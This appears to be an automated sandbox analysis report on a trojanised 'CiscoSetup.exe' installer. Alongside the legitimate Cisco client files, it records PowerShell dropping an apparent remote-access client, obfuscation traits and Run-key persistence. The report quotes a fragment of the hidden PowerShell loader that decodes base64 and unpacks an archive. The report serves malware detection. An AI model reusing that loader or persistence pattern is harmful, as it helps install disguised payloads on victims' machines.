Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\ACRuntime\Release\acruntime.pdbjjKGCTL source: is-FRTV6.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ExternalBrowserHelper\Win32\Win32\Release\acextwebhelper.pdb source: is-K9DFT.tmp.1.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000007.00000002.4143874760.0000000068895000.00000002.00000001.01000000.0000000D.sdmp, client32.exe, 00000008.00000002.2110207513.0000000068895000.00000002.00000001.01000000.0000000D.sdmp, client32.exe, 0000000A.00000002.2191058031.0000000068895000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CLI\Win32\Release\vpncli.pdb source: is-7ARTU.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CommonCrypt\Win32\Release\vpncommoncrypt.pdb source: is-T3UDO.tmp.1.dr

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($base64Content);[System.IO.File]::WriteAllBytes($zipFileName, $decodedBytes);New-Item -ItemType Directory -Path $destinationPath;Expand-Archive -Path $zipFileName -DestinationPath $de

Contains functionality to dynamically determine API calls

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe

Code function: 7_2_11029230 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,GetProcAddress,GetLastError,_free,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

7_2_11029230

PE file contains sections with non-standard names

Source: CiscoSetup.exe	Static PE information: section name: .didata
Source: CiscoSetup.tmp.0.dr	Static PE information: section name: .didata
Source: is-BOBU7.tmp.1.dr	Static PE information: section name: .didata
Source: is-N867I.tmp.1.dr	Static PE information: section name: fipstx
Source: is-N867I.tmp.1.dr	Static PE information: section name: fipsro
Source: is-N867I.tmp.1.dr	Static PE information: section name: fipsda
Source: is-N867I.tmp.1.dr	Static PE information: section name: fsig
Source: is-N867I.tmp.1.dr	Static PE information: section name: fipsrd
Source: is-BKQ26.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-HL1L8.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-42UFL.tmp.1.dr	Static PE information: section name: .orpc
Source: is-DSLII.tmp.1.dr	Static PE information: section name: .00cfg
Source: is-DSLII.tmp.1.dr	Static PE information: section name: .voltbl
Source: PCICL32.DLL.5.dr	Static PE information: section name: .hhshare

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0345C492 pushad ; ret	5_2_0345C493
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_034531FA pushfd ; ret	5_2_03453209
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07AF7712 push dword ptr [ebp+ebx-75h]; iretd	5_2_07AF7716
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07AF75D8 push FFFFFFE8h; retf	5_2_07AF75E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07AF1377 push FFFFFFE8h; ret	5_2_07AF1379
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07AF0003 push FFFFFFC3h; ret	5_2_07AF007E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07AF0F6F push FFFFFFE8h; retf	5_2_07AF0F71
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07AF9CE5 push FFFFFFE8h; ret	5_2_07AF9CE9
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1116B825 push ecx; ret	7_2_1116B838
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11166719 push ecx; ret	7_2_1116672C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11040641 push 3BFFFFFEh; ret	7_2_11040646
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685C6BBF push ecx; ret	7_2_685C6BD2
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685C4DF5 push 685C43F9h; retf	7_2_685C4E1F
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685B8377 push 3BFFFFFFh; retf	7_2_685B837C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685BE36C push edi; ret	7_2_685BE37B
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1116B825 push ecx; ret	8_2_1116B838
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1104E56B push ecx; retf 0007h	8_2_1104E56C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11166719 push ecx; ret	8_2_1116672C
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11040641 push 3BFFFFFEh; ret	8_2_11040646

Source: is-Q67GI.tmp.1.dr	Static PE information: section name: .text entropy: 6.8383653762559575
Source: msvcr100.dll.5.dr	Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\ProxyCon.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui_toast.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0E14V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-MJ3RA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-Q67GI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\acdownloader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnipsec.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HL1L8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-24FVM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7A47V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T3UDO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\csc_ui_setup.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-N867I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-9JGUE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LO7QV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-13C42.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O6HT8.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui_toast.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapishim.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.sys (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-2J33H.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-LMS1D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_system.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K9DFT.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnmgmttun.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C8R9M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncli.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-FCDNQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-6FEVR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-FRTV6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\cfom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0IGCD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-UP6H5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-BSCSU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3H81M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-139DF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\ac_sock_fltr_api.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_thread.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscocrypto.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acextwebhelper.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-KC1BF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagentutilities.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-ULT5V.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-M1NCB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\VACon64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\Uninstall.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acfeedback.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommoncrypt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LU7CG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T40JR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\concrt140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagent.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-PS1DU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C9M46.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\is-AB2VI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-GKS0T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_filesystem.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-RJSOM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O7USL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-QC4EE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K8IRC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O8UOD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acruntime.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\accurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\CiscoSetup.exe	File created: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-8QMTQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva64-6.sys (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7ARTU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_chrono.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3MUNV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\is-V7O6A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscossl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vccorlib140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-0667M.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HI577.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_date_time.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-42UFL.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpndownloader.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vcruntime140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-BKQ26.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommon.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\is-BOBU7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\Program Files (x86)\Cisco\Cisco Secure Client\is-DSLII.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685A7030 ctl_open,LoadLibraryA,InitializeCriticalSection,CreateEventA,CreateEventA,CreateEventA,CreateEventA,WSAStartup,_malloc,_memset,_calloc,_malloc,_memset,_malloc,_memset,GetTickCount,CreateThread,SetThreadPriority,GetModuleFileNameA,GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,timeBeginPeriod,	7_2_685A7030
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_685950E0 CreateFileA,wsprintfA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	7_2_685950E0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_68595117 GetPrivateProfileIntA,wsprintfA,CreateFileA,GetFileSize,GetPrivateProfileIntA,SetFilePointer,FlushFileBuffers,CloseHandle,wsprintfA,CreateFileA,__itow,WritePrivateProfileStringA,	7_2_68595117

Boot Survival

Stores files to the Windows start menu directory

Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Cisco			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Cisco\Cisco Secure Client for Windows.lnk			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MyApp			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MyApp			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
